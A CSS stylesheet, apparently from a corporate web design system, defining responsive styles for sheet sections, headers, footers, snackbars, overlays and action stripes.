@media only screen and (max-width: 666px) {
.sheet__section--activating {
border-left:none;
border-right: none
}
}
.sheet__section--activating:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--activating:first-child {
border-radius:0
}
}
.sheet__section--activating:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--activating:last-child {
border-radius:0
}
}
.sheet__section--activating:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--activating:only-child {
border-radius:0
}
}
.sheet__section--corporate {
border: 2px solid var(--corporate-shape-color,#001b41);
margin: -1px
}
@media only screen and (max-width: 666px) {
.sheet__section--corporate {
border-left:none;
border-right: none
}
}
.sheet__section--corporate:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--corporate:first-child {
border-radius:0
}
}
.sheet__section--corporate:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--corporate:last-child {
border-radius:0
}
}
.sheet__section--corporate:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--corporate:only-child {
border-radius:0
}
}
.sheet__section--promoting {
border: 2px solid var(--promoting-shape-color,#b410e7);
margin: -1px
}
@media only screen and (max-width: 666px) {
.sheet__section--promoting {
border-left:none;
border-right: none
}
}
.sheet__section--promoting:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--promoting:first-child {
border-radius:0
}
}
.sheet__section--promoting:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--promoting:last-child {
border-radius:0
}
}
.sheet__section--promoting:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.sheet__section--promoting:only-child {
border-radius:0
}
}
.sheet__section--vertical-align-bottom {
align-items: flex-end;
display: flex;
flex-flow: wrap
}
.sheet__section--vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.sheet__section--vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
@media only screen and (min-width: 1185px) {
.sheet__section--large-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.sheet__section--large-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.sheet__section--large-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.sheet__section--medium-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.sheet__section--medium-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.sheet__section--medium-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (max-width: 666px) {
.sheet__section--small-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.sheet__section--small-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.sheet__section--small-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
.sheet__section--secondary,.sheet__section--tertiary {
background-color: var(--default-background-color,#f4f7fa)
}
.sheet__section--emphasized {
background-color: var(--default-background-color-inverted,#0b2a63)
}
.sheet__section--separator-bottom {
border-bottom: 1px solid var(--tertiary-shape-color,#bcc8d4)
}
.sheet__section--separator-left {
border-left: 1px solid var(--tertiary-shape-color,#bcc8d4)
}
.sheet__section--separator-right {
border-right: 1px solid var(--tertiary-shape-color,#bcc8d4)
}
.sheet__section--separator-top {
border-top: 1px solid var(--tertiary-shape-color,#bcc8d4)
}
.sheet__section--visualized {
background-position: 50%;
background-repeat: no-repeat;
background-size: cover;
box-sizing: border-box;
display: inherit;
flex-flow: wrap;
height: 100%;
overflow: hidden;
width: 100%
}
@media only screen and (max-width: 666px) {
.sheet__section--visualized {
max-height:320px
}
}
.sheet__section--visualized .sheet__block {
box-sizing: border-box;
display: inherit;
height: 100%;
width: 100%
}
.sheet__visual {
display: inline-block
}
.sheet__section--visualized .sheet__visual {
height: 100%;
margin: -32px;
position: absolute;
width: auto
}
@media only screen and (max-width: 666px) {
.sheet__section--visualized .sheet__visual {
margin:-16px;
position: inherit;
width: 100%
}
}
@supports ((-o-object-fit: cover) or (object-fit:cover)) {
.sheet__section--visualized .sheet__visual {
flex-grow:1;
height: auto;
-o-object-fit: cover;
object-fit: cover;
position: inherit
}
}
.sheet__close {
cursor: pointer;
opacity: .62;
position: absolute;
right: 22px;
text-decoration: none;
top: 25px
}
.sheet__close:hover {
opacity: 1
}
.sheet__close:before {
color: var(--tertiary-text-color,#718095);
content: "\E67B";
font-family: exos-icon-font,serif;
font-size: 24px;
line-height: 1em
}
@media only screen and (max-width: 666px) {
.sheet__close {
right:15px;
top: 15px
}
.sheet__close:before {
font-size: 21px
}
}
.sheet__close--success:before {
color: var(--success-text-color,#096b35)
}
.sheet__close--warning:before {
color: var(--warning-text-color,#c36b00)
}
.sheet__close--critical:before {
color: var(--critical-text-color,#c80a00)
}
.sheet__close--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.sheet__close--activating:before {
color: var(--activating-text-color,#007e9c)
}
.sheet__close--promoting:before {
color: var(--promoting-text-color,#560e8a)
}
.sheet__close--corporate:before {
color: var(--corporate-text-color,#0b2a63)
}
.sheet__close--bright:before {
color: var(--white,#fff);
text-shadow: 0 0 16px var(--black,#000)
}
.sheet__close+.headline {
margin-right: 40px
}
@media only screen and (max-width: 666px) {
.sheet__close+.headline {
margin-right:30px
}
}
.sheet__stripes>li {
padding-left: 15px;
padding-right: 15px
}
.sheet__stripes .ghost-button--icon-only {
margin: -2px 9px 2px -9px
}
@media only screen and (max-width: 666px) {
.sheet__stripes {
padding-left:0;
padding-right: 0
}
}
.sheet__separator {
border: 0;
border-top: 1px solid var(--tertiary-shape-color,#bcc8d4);
margin: 0
}
.sheet__footer {
margin-bottom: -8px;
margin-top: 28px
}
.sheet__footer--align-center {
justify-content: center;
text-align: center
}
.sheet__footer--align-left {
justify-content: flex-start;
text-align: left
}
.sheet__footer--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.sheet__footer--large-align-center {
justify-content:center;
text-align: center
}
.sheet__footer--large-align-left {
justify-content: flex-start;
text-align: left
}
.sheet__footer--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.sheet__footer--medium-align-center {
justify-content:center;
text-align: center
}
.sheet__footer--medium-align-left {
justify-content: flex-start;
text-align: left
}
.sheet__footer--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.sheet__footer--small-align-center {
justify-content:center;
text-align: center
}
.sheet__footer--small-align-left {
justify-content: flex-start;
text-align: left
}
.sheet__footer--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.sheet__footer--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.sheet__footer--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.sheet__footer--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.sheet__footer--small-hidden {
display:none
}
}
.sheet__footer--vertical-align-bottom {
align-items: flex-end;
display: flex;
flex-flow: wrap
}
.sheet__footer--vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.sheet__footer--vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
@media only screen and (min-width: 1185px) {
.sheet__footer--large-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.sheet__footer--large-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.sheet__footer--large-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.sheet__footer--medium-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.sheet__footer--medium-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.sheet__footer--medium-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (max-width: 666px) {
.sheet__footer--small-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.sheet__footer--small-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.sheet__footer--small-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
.sheet__footer {
margin-top: 14px
}
}
.sheet__footer>a,.sheet__footer>button,.sheet__footer>p {
display: inline-block;
margin-bottom: 12px
}
.sheet__footer>a--hidden,.sheet__footer>button--hidden,.sheet__footer>p--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.sheet__footer>a--large-hidden,.sheet__footer>button--large-hidden,.sheet__footer>p--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.sheet__footer>a--medium-hidden,.sheet__footer>button--medium-hidden,.sheet__footer>p--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.sheet__footer>a--small-hidden,.sheet__footer>button--small-hidden,.sheet__footer>p--small-hidden {
display:none
}
}
.sheet__footer>a.ghost-button,.sheet__footer>button.ghost-button,.sheet__footer>p.ghost-button {
display: inline-flex
}
.sheet__footer>a.ghost-button--hidden,.sheet__footer>button.ghost-button--hidden,.sheet__footer>p.ghost-button--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.sheet__footer>a.ghost-button--large-hidden,.sheet__footer>button.ghost-button--large-hidden,.sheet__footer>p.ghost-button--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.sheet__footer>a.ghost-button--medium-hidden,.sheet__footer>button.ghost-button--medium-hidden,.sheet__footer>p.ghost-button--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.sheet__footer>a.ghost-button--small-hidden,.sheet__footer>button.ghost-button--small-hidden,.sheet__footer>p.ghost-button--small-hidden {
display:none
}
}
.sheet__header {
align-items: center;
background-color: var(--default-background-color,#f4f7fa);
display: flex;
margin-bottom: 0;
padding: 12px 24px;
position: relative
}
.sheet__header--separator-bottom {
border-bottom: 1px solid var(--tertiary-shape-color)
}
@media only screen and (max-width: 666px) {
.sheet__header {
padding:12px 16px
}
}
.sheet__header .sheet__icon {
height: 28px;
margin: -2px 12px -2px 0;
width: auto
}
.sheet__header .sheet__headline {
flex-grow: 1;
font-family: var(--corporate-font-bold,"OverpassSemibold",arial,sans-serif);
font-size: var(--third-level-headline-size,16px);
line-height: var(--third-level-headline-line-height,1.5em);
margin-top: 2px
}
.sheet__header .sheet__link {
margin-left: 12px
}
.sheet__header .sheet__close {
right: 15px;
top: 12px
}
@media only screen and (max-width: 666px) {
.sheet__header .sheet__close {
right:8px
}
}
.sheet__header--align-center {
justify-content: center;
text-align: center
}
.sheet__header--align-left {
justify-content: flex-start;
text-align: left
}
.sheet__header--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.sheet__header--large-align-center {
justify-content:center;
text-align: center
}
.sheet__header--large-align-left {
justify-content: flex-start;
text-align: left
}
.sheet__header--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.sheet__header--medium-align-center {
justify-content:center;
text-align: center
}
.sheet__header--medium-align-left {
justify-content: flex-start;
text-align: left
}
.sheet__header--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.sheet__header--small-align-center {
justify-content:center;
text-align: center
}
.sheet__header--small-align-left {
justify-content: flex-start;
text-align: left
}
.sheet__header--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.sheet__header--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.sheet__header--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.sheet__header--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.sheet__header--small-hidden {
display:none
}
}
.sheet__header--vertical-align-bottom {
align-items: flex-end;
display: flex;
flex-flow: wrap
}
.sheet__header--vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.sheet__header--vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
@media only screen and (min-width: 1185px) {
.sheet__header--large-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.sheet__header--large-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.sheet__header--large-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.sheet__header--medium-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.sheet__header--medium-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.sheet__header--medium-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (max-width: 666px) {
.sheet__header--small-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.sheet__header--small-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.sheet__header--small-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
.sheet__section--beta+.sheet__section--beta,.sheet__section--default+.sheet__section--default,.sheet__section--emphazised+.sheet__section--emphazised,.sheet__section--primary+.sheet__section--primary,.sheet__section--secondary+.sheet__section--secondary {
padding-top: 0
}
.sheet__block section>:last-child:not(.sheet__visual),.sheet__block>:last-child:not(.sheet__visual):not(.sheet__footer),.sheet__section section>:last-child:not(.sheet__visual):not(.sheet__footer),.sheet__section>:last-child:not(.sheet__visual):not(.sheet__footer) {
margin-bottom: 0
}
@media only screen and (min-width: 1185px) {
.grid-col--large-12 .sheet__visual {
margin-bottom:32px
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.grid-col--medium-12 .sheet__visual {
margin-bottom:32px
}
}
@media only screen and (max-width: 666px) {
.grid-col--small-12 .sheet__visual {
margin-bottom:16px
}
.headless-mode .sheet--headless-hidden,.headless-mode .sheet__footer--headless-hidden,.headless-mode .sheet__section--headless-hidden {
display: none
}
}
.static-overlay>.sheet__section:first-child {
padding-bottom: 26px
}
.snackbar-container {
bottom: 20px;
position: fixed;
width: 100%;
z-index: 81
}
.snackbar {
align-items: center;
-webkit-animation-fill-mode: both;
animation-fill-mode: both;
border-radius: var(--small-border-radius,8px);
box-shadow: var(--primary-shadow,0 2px 8px 0 #718095);
box-sizing: border-box;
color: var(--corporate-text-color,#0b2a63);
display: flex;
line-height: 18px;
margin: 0 auto;
max-width: 320px;
padding: 16px 14px;
transition-timing-function: ease-in-out;
visibility: hidden
}
.snackbar--visible {
-webkit-animation-name: keyframes--snackbar-translate-in;
animation-name: keyframes--snackbar-translate-in;
visibility: visible
}
.snackbar--hidden,.snackbar--visible {
-webkit-animation-duration: .2s;
animation-duration: .2s
}
.snackbar--hidden {
-webkit-animation-name: keyframes--snackbar-translate-out;
animation-name: keyframes--snackbar-translate-out
}
@media only screen and (max-width: 666px) {
.snackbar {
border-radius:var(--xsmall-border-radius,4px)
}
}
.snackbar--success {
border: 2px solid var(--success-shape-color,#0fa954)
}
.snackbar--warning {
border: 2px solid var(--warning-shape-color,#fa0)
}
.snackbar--critical {
border: 2px solid var(--critical-shape-color,#f50c00)
}
.snackbar--neutral {
border: 2px solid var(--neutral-shape-color,#718095)
}
.snackbar--activating {
border: 2px solid var(--activating-shape-color,#11c7e6)
}
.snackbar--promoting {
border: 2px solid var(--promoting-shape-color,#b410e7)
}
.snackbar--corporate {
border: 2px solid var(--corporate-shape-color,#001b41)
}
.snackbar--success-solid {
background-color: var(--solid-success-background-color,#12cf76);
color: var(--corporate-text-color,#0b2a63)
}
.snackbar--warning-solid {
background-color: var(--solid-warning-background-color,#fa0);
color: var(--corporate-text-color,#0b2a63)
}
.snackbar--critical-solid {
background-color: var(--solid-critical-background-color,#ff6159);
color: var(--corporate-text-color,#0b2a63)
}
.snackbar--neutral-solid {
background-color: var(--solid-neutral-background-color,#465a75);
color: var(--white,#fff)
}
.snackbar--activating-solid {
background-color: var(--solid-activating-background-color,#11c7e6);
color: var(--corporate-text-color,#0b2a63)
}
.snackbar--promoting-solid {
background-color: var(--solid-promoting-background-color,#e480f8);
color: var(--corporate-text-color,#0b2a63)
}
.snackbar--corporate-solid {
background-color: var(--solid-corporate-background-color,#0b2a63);
color: var(--white,#fff)
}
.snackbar--bright-solid {
background-color: var(--solid-bright-background-color,#fff);
color: var(--corporate-text-color,#0b2a63)
}
.snackbar--success-solid.snackbar--with-icon {
line-height: 1
}
.snackbar--success-solid.snackbar--with-icon:before {
content: "";
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
padding-right: 6px;
vertical-align: top
}
.snackbar--warning-solid.snackbar--with-icon {
line-height: 1
}
.snackbar--warning-solid.snackbar--with-icon:before {
content: "";
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
padding-right: 6px;
vertical-align: top
}
.snackbar--critical-solid.snackbar--with-icon {
line-height: 1
}
.snackbar--critical-solid.snackbar--with-icon:before {
content: "";
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
padding-right: 6px;
vertical-align: top
}
.snackbar--neutral-solid.snackbar--with-icon {
line-height: 1
}
.snackbar--neutral-solid.snackbar--with-icon:before {
content: "";
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
padding-right: 6px;
vertical-align: top
}
.snackbar--activating-solid.snackbar--with-icon {
line-height: 1
}
.snackbar--activating-solid.snackbar--with-icon:before {
content: "";
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
padding-right: 6px;
vertical-align: top
}
@-webkit-keyframes keyframes--snackbar-translate-in {
0% {
opacity: 0;
-webkit-transform: translateY(100%);
transform: translateY(100%)
}
to {
opacity: 1;
-webkit-transform: translateY(0);
transform: translateY(0)
}
}
@keyframes keyframes--snackbar-translate-in {
0% {
opacity: 0;
-webkit-transform: translateY(100%);
transform: translateY(100%)
}
to {
opacity: 1;
-webkit-transform: translateY(0);
transform: translateY(0)
}
}
@-webkit-keyframes keyframes--snackbar-translate-out {
0% {
opacity: 1;
-webkit-transform: translateY(0);
transform: translateY(0)
}
to {
opacity: 0;
-webkit-transform: translateY(100%);
transform: translateY(100%)
}
}
@keyframes keyframes--snackbar-translate-out {
0% {
opacity: 1;
-webkit-transform: translateY(0);
transform: translateY(0)
}
to {
opacity: 0;
-webkit-transform: translateY(100%);
transform: translateY(100%)
}
}
.static-overlay {
display: none
}
.static-overlay__blocker {
background-color: var(--black,#000);
bottom: 0;
left: 0;
opacity: 0;
position: fixed;
right: 0;
top: 0;
transition: opacity .2s ease-out;
z-index: 205
}
.static-overlay__blocker--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.static-overlay__blocker--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.static-overlay__blocker--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.static-overlay__blocker--small-hidden {
display:none
}
}
.static-overlay__blocker--active {
opacity: .38
}
.static-overlay__container {
align-items: center;
bottom: 0;
display: flex;
justify-content: center;
left: 0;
opacity: 0;
overflow-y: auto;
position: fixed;
right: 0;
top: 0;
transition: opacity .2s ease-out;
z-index: 206
}
.static-overlay__container--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.static-overlay__container--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.static-overlay__container--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.static-overlay__container--small-hidden {
display:none
}
.static-overlay__container {
align-items: flex-start;
top: 64px
}
}
.static-overlay__container--active {
opacity: 1
}
.static-overlay__content {
border: none;
border-radius: var(--default-border-radius,16px);
margin-top: -40px;
max-width: 53%;
position: relative;
transition: margin-top .2s ease-out
}
@media only screen and (max-width: 666px) {
.static-overlay__content {
border-radius:var(--small-border-radius,8px);
width: 100%
}
}
.static-overlay__content.sheet--success {
border: 2px solid var(--success-shape-color,#0fa954)
}
.static-overlay__content.sheet--warning {
border: 2px solid var(--warning-shape-color,#fa0)
}
.static-overlay__content.sheet--critical {
border: 2px solid var(--critical-shape-color,#f50c00)
}
.static-overlay__content.sheet--neutral {
border: 2px solid var(--neutral-shape-color,#718095)
}
.static-overlay__content.sheet--activating {
border: 2px solid var(--activating-shape-color,#11c7e6)
}
.static-overlay__content.sheet--promoting {
border: 2px solid var(--promoting-shape-color,#b410e7)
}
.static-overlay__content.sheet--corporate {
border: 2px solid var(--corporate-shape-color,#001b41)
}
.static-overlay__container--active>.static-overlay__content {
margin-top: 0
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.static-overlay__content {
max-width:74%
}
}
@media only screen and (max-width: 666px) {
.static-overlay__content {
max-width:95%
}
}
.stripe {
align-items: center;
display: flex;
flex-flow: row;
padding: 14px 0 16px
}
.stripe--align-center {
justify-content: center;
text-align: center
}
.stripe--align-left {
justify-content: flex-start;
text-align: left
}
.stripe--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.stripe--large-align-center {
justify-content:center;
text-align: center
}
.stripe--large-align-left {
justify-content: flex-start;
text-align: left
}
.stripe--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.stripe--medium-align-center {
justify-content:center;
text-align: center
}
.stripe--medium-align-left {
justify-content: flex-start;
text-align: left
}
.stripe--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.stripe--small-align-center {
justify-content:center;
text-align: center
}
.stripe--small-align-left {
justify-content: flex-start;
text-align: left
}
.stripe--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.stripe--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.stripe--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.stripe--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.stripe--small-hidden {
display:none
}
}
.stripe--condensed {
padding-bottom: 8px;
padding-top: 7px
}
.stripe--cropped {
padding-bottom: 0;
padding-top: 0
}
.stripe__item {
display: flex;
flex-flow: wrap;
margin-right: 15px
}
.stripe__item--align-center {
justify-content: center;
text-align: center
}
.stripe__item--align-left {
justify-content: flex-start;
text-align: left
}
.stripe__item--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.stripe__item--large-align-center {
justify-content:center;
text-align: center
}
.stripe__item--large-align-left {
justify-content: flex-start;
text-align: left
}
.stripe__item--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.stripe__item--medium-align-center {
justify-content:center;
text-align: center
}
.stripe__item--medium-align-left {
justify-content: flex-start;
text-align: left
}
.stripe__item--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.stripe__item--small-align-center {
justify-content:center;
text-align: center
}
.stripe__item--small-align-left {
justify-content: flex-start;
text-align: left
}
.stripe__item--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.stripe__item--vertical-align-bottom {
align-items: flex-end;
display: flex;
flex-flow: wrap
}
.stripe__item--vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.stripe__item--vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
@media only screen and (min-width: 1185px) {
.stripe__item--large-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.stripe__item--large-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.stripe__item--large-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.stripe__item--medium-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.stripe__item--medium-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.stripe__item--medium-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (max-width: 666px) {
.stripe__item--small-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.stripe__item--small-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.stripe__item--small-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
.stripe__item--vertical-align-bottom {
align-self: flex-end
}
.stripe__item--vertical-align-center {
align-self: center
}
.stripe__item--vertical-align-middle {
vertical-align: middle
}
.stripe__item--vertical-align-top {
align-self: flex-start
}
@media only screen and (min-width: 1185px) {
.stripe__item--large-vertical-align-bottom {
align-self:flex-end
}
.stripe__item--large-vertical-align-center {
align-self: center
}
.stripe__item--large-vertical-align-middle {
vertical-align: middle
}
.stripe__item--large-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.stripe__item--medium-vertical-align-bottom {
align-self:flex-end
}
.stripe__item--medium-vertical-align-center {
align-self: center
}
.stripe__item--medium-vertical-align-middle {
vertical-align: middle
}
.stripe__item--medium-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (max-width: 666px) {
.stripe__item--small-vertical-align-bottom {
align-self:flex-end
}
.stripe__item--small-vertical-align-center {
align-self: center
}
.stripe__item--small-vertical-align-middle {
vertical-align: middle
}
.stripe__item--small-vertical-align-top {
align-self: flex-start
}
}
.stripe__item--condensed {
margin-right: 8px
}
.stripe__item--cropped {
margin-right: 4px
}
.stripe__item--condensed:last-child,.stripe__item--cropped:last-child,.stripe__item:last-child {
margin-right: 0
}
.sheet__stripes .stripe__item {
margin-left: 15px
}
.sheet__stripes .stripe__item:last-child {
margin-right: 15px
}
@media only screen and (max-width: 666px) {
.sheet__stripes .stripe__item {
margin-left:8px;
margin-right: 8px
}
.sheet__stripes .stripe__item:last-child {
margin-right: 8px
}
}
.stripe__element {
margin-bottom: 3px;
margin-top: 3px;
width: 100%
}
.stripe__element--inline {
width: auto
}
.stripe__visual {
margin-bottom: 3px;
margin-top: 3px;
width: auto
}
.stripe__inline-element {
margin-bottom: 3px;
margin-top: 3px;
width: 100%
}
.action-stripe {
background-color: var(--white,#fff);
border-bottom: 1px solid var(--tertiary-shape-color,#bcc8d4);
border-top: 1px solid var(--tertiary-shape-color,#bcc8d4);
box-sizing: border-box;
display: flex;
float: none;
margin-top: -1px;
min-height: 1px;
padding: 14px 0 16px;
width: auto
}
.action-stripe:after {
clear: both;
content: "";
display: table
}
.action-stripe:last-child {
border-bottom: inherit
}
.action-stripe--borderless {
border-bottom: none;
border-top: none;
padding: 7px 0 9px
}
.action-stripe--disabled {
background-color: var(--default-background-color,#f4f7fa);
color: var(--secondary-text-color,#465a75);
cursor: not-allowed
}
.action-stripe .link--next:after {
color: var(--interactive-shape-color,#1474c4)
}
.action-stripe.__direct-selection:hover {
background-color: var(--default-background-color,#f4f7fa)
}
.action-stripe--page-context.__direct-selection:hover {
background-color: var(--white,#fff)
}
.action-stripe--advertising {
background: var(--advertising-background-gradient-start,#003d8f);
background: linear-gradient(to bottom right,var(--advertising-background-gradient-start,#003d8f),var(--advertising-background-gradient-end,#1474c4));
border-bottom: 1px solid var(--advertising-background-gradient-end,#1474c4);
border-top: 1px solid var(--advertising-background-gradient-start,#003d8f);
color: var(--white,#fff)
}
.action-stripe--advertising .__hover.toggle-link,.action-stripe--advertising .link,.action-stripe--advertising .link--next:after,.action-stripe--advertising .link.__hover,.action-stripe--advertising .link:before,.action-stripe--advertising .toggle-link,.action-stripe--advertising .toggle-link:before {
color: var(--white,#fff)
}
.action-stripe--corporate-solid {
background-color: var(--solid-corporate-background-color,#0b2a63);
border-bottom: 1px solid var(--hovered-advertising-background-gradient-end,#003d8f);
border-top: 1px solid var(--hovered-advertising-background-gradient-start,#001b41);
color: var(--white,#fff)
}
.action-stripe--corporate-solid .__hover.toggle-link,.action-stripe--corporate-solid .link,.action-stripe--corporate-solid .link--next:after,.action-stripe--corporate-solid .link.__hover,.action-stripe--corporate-solid .link:before,.action-stripe--corporate-solid .toggle-link,.action-stripe--corporate-solid .toggle-link:before {
color: var(--white,#fff)
}
.action-stripe--advertising.__direct-selection:hover {
background: var(--hovered-advertising-background-gradient-start,#001b41);
background: linear-gradient(to bottom right,var(--hovered-advertising-background-gradient-start,#001b41),var(--hovered-advertising-background-gradient-end,#003d8f));
border-bottom: 1px solid var(--hovered-advertising-background-gradient-end,#003d8f);
border-top: 1px solid var(--hovered-advertising-background-gradient-start,#001b41)
}
.action-stripe--advertising.__direct-selection:hover:last-child {
border-bottom: inherit
}
.action-stripe--advertising.__direct-selection:hover .__hover.toggle-link,.action-stripe--advertising.__direct-selection:hover .link,.action-stripe--advertising.__direct-selection:hover .link--next:after,.action-stripe--advertising.__direct-selection:hover .link.__hover,.action-stripe--advertising.__direct-selection:hover .link:before,.action-stripe--advertising.__direct-selection:hover .toggle-link,.action-stripe--advertising.__direct-selection:hover .toggle-link:before {
color: var(--white,#fff)
}
.action-stripe--corporate-solid.__direct-selection:hover {
background: var(--hovered-advertising-background-gradient-start,#001b41)
}
.action-stripe--corporate-solid.__direct-selection:hover:last-child {
border-bottom: inherit
}
